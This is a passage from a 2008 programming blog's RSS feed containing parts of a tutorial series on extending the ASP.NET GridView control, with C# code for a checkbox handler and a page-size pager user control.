<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataBind();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">protected</span> <span style="color: blue; font-weight: bold;">void</span> CBSelected_CheckedChanged(<span style="color: blue; font-weight: bold;">object</span> sender, <span style="color: rgb(43, 145, 175); font-weight: bold;">EventArgs</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">CheckBox</span> cbSel <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> sender <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">CheckBox</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (cbSel <span style="color: rgb(128, 128, 192); font-weight: bold;">!=</span> <span style="color: blue; font-weight: bold;">null</span>)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">DataControlFieldCell</span> cellObj <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> cbSel<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parent <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">DataControlFieldCell</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">GridViewRow</span> rowObj <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> cellObj<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parent <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">GridViewRow</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">GridViewEx</span> gv <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> rowObj<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parent<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parent <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">GridViewEx</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">ItemVal</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> v <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataSource <span style="color: blue; font-weight: bold;">as</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">List</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span><span style="color: rgb(43, 145, 175); font-weight: bold;">ItemVal</span><span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; v[gv<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Index(rowObj<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>RowIndex)]<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Selected <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> cbSel<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Checked;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataSource <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> v;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GridViewEx1<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataBind();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
</div>
<p>As you can see,&nbsp; the code is pretty much in line with what we would use for a typical GridView control. When the page is posted back, we set the DataSource and bind the data to the grid. Everything else happens transparently behind the scene. To illustrate the capability of GridViewEx, I included a CheckBox at the end of each row, whenever the check status is changed (CBSelected_CheckedChanged) we dynamically obtain the reference to the GridViewEx object (as an alternative, we could have used the actual control (GridViewEx1) instead of going through the trouble of dynamically converting if from the sender object since GridViewEx1 exists at compile time. Should the control be created dynamically, the code here will come in handy). Please pay special attention to how the checked state is determined. Because paging might be involved when the bound list has more entries than can be displayed, the current row index on the screen might not be the same as the row index in the list. To simplify coding, I created an Index function within GridViewEx to translate the selected row index into what is stored in the list.</p>
<p align="center"><img src="/blog/wp-content/uploads/2008/08/gridviewex.jpg" alt="" /></p>
<p>The code samples provided in this series can be downloaded <a href="/blog/wp-content/uploads/2008/08/extendingthegridview.zip">here</a>.</p>
<p>Of course, there are a lot more fancy things you can do with the grid or with any objects in that matter. The only limit is your imagination&#8230;</p>
<p><strong>See also</strong></p>
<div><a href="/2008/08/08/extending-the-gridview-part-i/">Extending the GridView &mdash; Part I</a></div>
<div><a href="/2008/08/15/extending-the-gridview-&mdash;-part-ii/">Extending the GridView &mdash; Part II</a></div>
<div><a href="/2008/08/16/extending-the-gridview-&mdash;-part-iii/">Extending the GridView &mdash; Part III</a></div>
<div><a href="/2008/08/17/extending-the-gridview-&mdash;-part-iv/">Extending the GridView &mdash; Part IV</a></div>
<p>Code Download: <a href="/blog/wp-content/uploads/2008/08/extendingthegridview.zip">ExtendingTheGridView.zip</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/08/17/extending-the-gridview-%e2%80%94-part-iv/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Extending the GridView — Part III</title>
		<link>http://www.kerrywong.com/2008/08/16/extending-the-gridview-%e2%80%94-part-iii/</link>
		<comments>http://www.kerrywong.com/2008/08/16/extending-the-gridview-%e2%80%94-part-iii/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 00:04:44 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[ASP.Net]]></category>
		<category><![CDATA[C Sharp (C#)]]></category>
		<category><![CDATA[GridView]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/2008/08/16/extending-the-gridview-%e2%80%94-part-iii/</guid>
		<description><![CDATA[In Part II, I showed you how to extend the GridView control so that we can bind a generic list to it. Because GridViewEx inherits from GridView, it has all the functionalities GridView has (i.e. paging). Sometimes, it is desirable to change the number of items displayed on a page dynamically, to accommodate this, we [...]]]></description>
			<content:encoded><![CDATA[<p>In <a href="/2008/08/15/extending-the-gridview-&mdash;-part-ii/">Part II</a>, I showed you how to extend the GridView control so that we can bind a generic list to it. Because GridViewEx inherits from GridView, it has all the functionalities GridView has (i.e. paging). Sometimes, it is desirable to change the number of items displayed on a page dynamically, to accommodate this, we will create a GridViewPager control (ascx).<span id="more-326"></span></p>
<p><strong>3. GridViewPager</strong></p>
<p>&nbsp;Here is the code for GridViewPager:</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">partial</span> <span style="color: blue; font-weight: bold;">class</span> <span style="color: rgb(43, 145, 175); font-weight: bold;">GridViewPager</span> : System<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Web<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>UI<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span><span style="color: rgb(43, 145, 175); font-weight: bold;">UserControl</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">delegate</span> <span style="color: blue; font-weight: bold;">void</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">SelectedIndexChangedHandler</span>(<span style="color: blue; font-weight: bold;">object</span> sender, <span style="color: blue; font-weight: bold;">int</span> pageSize);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">event</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">SelectedIndexChangedHandler</span> SelectedIndexChanged;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">private</span> <span style="color: blue; font-weight: bold;">bool</span> _visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">private</span> <span style="color: blue; font-weight: bold;">int</span> _pageSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">10</span>;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">override</span> <span style="color: blue; font-weight: bold;">bool</span> Visible</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">get</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (ViewState[UniqueID] <span style="color: rgb(128, 128, 192); font-weight: bold;">==</span> <span style="color: blue; font-weight: bold;">null</span>)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">bool</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>TryParse(ViewState[<span style="color: blue; font-weight: bold;">this</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>UniqueID]<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>ToString(), <span style="color: blue; font-weight: bold;">out</span> _visible);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">return</span> _visible;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">set</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">value</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ViewState[UniqueID] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> _visible;</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (_visible)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; MainPanel<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; MainPanel<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">int</span> PageSize</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">get</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (ViewState[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(UniqueID, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;PageSize&quot;</span>)] <span style="color: rgb(128, 128, 192); font-weight: bold;">==</span> <span style="color: blue; font-weight: bold;">null</span>)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _pageSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">int</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parse(DropDownItemsPerPage<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>SelectedValue);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _pageSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">int</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parse(ViewState[<span style="color: blue; font-weight: bold;">string</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(UniqueID, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;PageSize&quot;</span>)]<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>ToString());</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">return</span> _pageSize;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">set</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _pageSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">value</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ViewState[<span style="color: rgb(43, 145, 175); font-weight: bold;">String</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Concat(UniqueID, <span style="color: rgb(163, 21, 21); font-weight: bold;">&quot;PageSize&quot;</span>)] <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">value</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">protected</span> <span style="color: blue; font-weight: bold;">override</span> <span style="color: blue; font-weight: bold;">void</span> OnInit(<span style="color: rgb(43, 145, 175); font-weight: bold;">EventArgs</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; DropDownItemsPerPage<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>SelectedIndexChanged <span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span> <span style="color: blue; font-weight: bold;">new</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">EventHandler</span>(DropDownItemsPerPage_SelectedIndexChanged);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">base</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>OnInit(e);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">protected</span> <span style="color: blue; font-weight: bold;">void</span> DropDownItemsPerPage_SelectedIndexChanged(<span style="color: blue; font-weight: bold;">object</span> sender, <span style="color: rgb(43, 145, 175); font-weight: bold;">EventArgs</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; PageSize <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">int</span><span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>Parse(DropDownItemsPerPage<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>SelectedValue);</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (SelectedIndexChanged <span style="color: rgb(128, 128, 192); font-weight: bold;">!=</span> <span style="color: blue; font-weight: bold;">null</span>)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; SelectedIndexChanged(sender, PageSize);</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">protected</span> <span style="color: blue; font-weight: bold;">void</span> Page_Load(<span style="color: blue; font-weight: bold;">object</span> sender, <span style="color: rgb(43, 145, 175); font-weight: bold;">EventArgs</span> e)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (<span style="color: rgb(128, 128, 192); font-weight: bold;">!</span>Page<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>IsPostBack)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; DropDownItemsPerPage<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>DataBind();</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> </span><span style="color: gray;">&lt;summary&gt;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> This method links to the DataSourceChangedEvent defined in GridViewEx so that</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> we can decide whether or not to show the pager depending on whether the list</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> to be bound is empty.</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> </span><span style="color: gray;">&lt;/summary&gt;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> </span><span style="color: gray;">&lt;param name=&quot;sender&quot;&gt;</span><span style="color: green;">sender object</span><span style="color: gray;">&lt;/param&gt;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: gray;">///</span><span style="color: green;"> </span><span style="color: gray;">&lt;param name=&quot;isEmpty&quot;&gt;</span><span style="color: green;">whether the list to be bound is empty</span><span style="color: gray;">&lt;/param&gt;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">public</span> <span style="color: blue; font-weight: bold;">void</span> GridViewDataSourceChanged(<span style="color: blue; font-weight: bold;">object</span> sender, <span style="color: blue; font-weight: bold;">bool</span> isEmpty)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> (isEmpty)</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Visible <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span>;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; }</div>
</div>
<p>As you can see, the pager control is quite simple. It communicates with GridViewEx control by the SelectedIndexChanged event. Depending on whether the state of number of items per page needs to persist between post backs, either ViewState or SessionState can be used.</p>
<p><strong>See also</strong></p>
<div><a href="/2008/08/08/extending-the-gridview-part-i/">Extending the GridView &mdash; Part I</a></div>
<div><a href="/2008/08/15/extending-the-gridview-&mdash;-part-ii/">Extending the GridView &mdash; Part II</a></div>
<div><a href="/2008/08/16/extending-the-gridview-&mdash;-part-iii/">Extending the GridView &mdash; Part III</a></div>
<div><a href="/2008/08/17/extending-the-gridview-&mdash;-part-iv/">Extending the GridView &mdash; Part IV</a></div>
<p>Code Download: <a href="/blog/wp-content/uploads/2008/08/extendingthegridview.zip">ExtendingTheGridView.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2008/08/16/extending-the-gridview-%e2%80%94-part-iii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
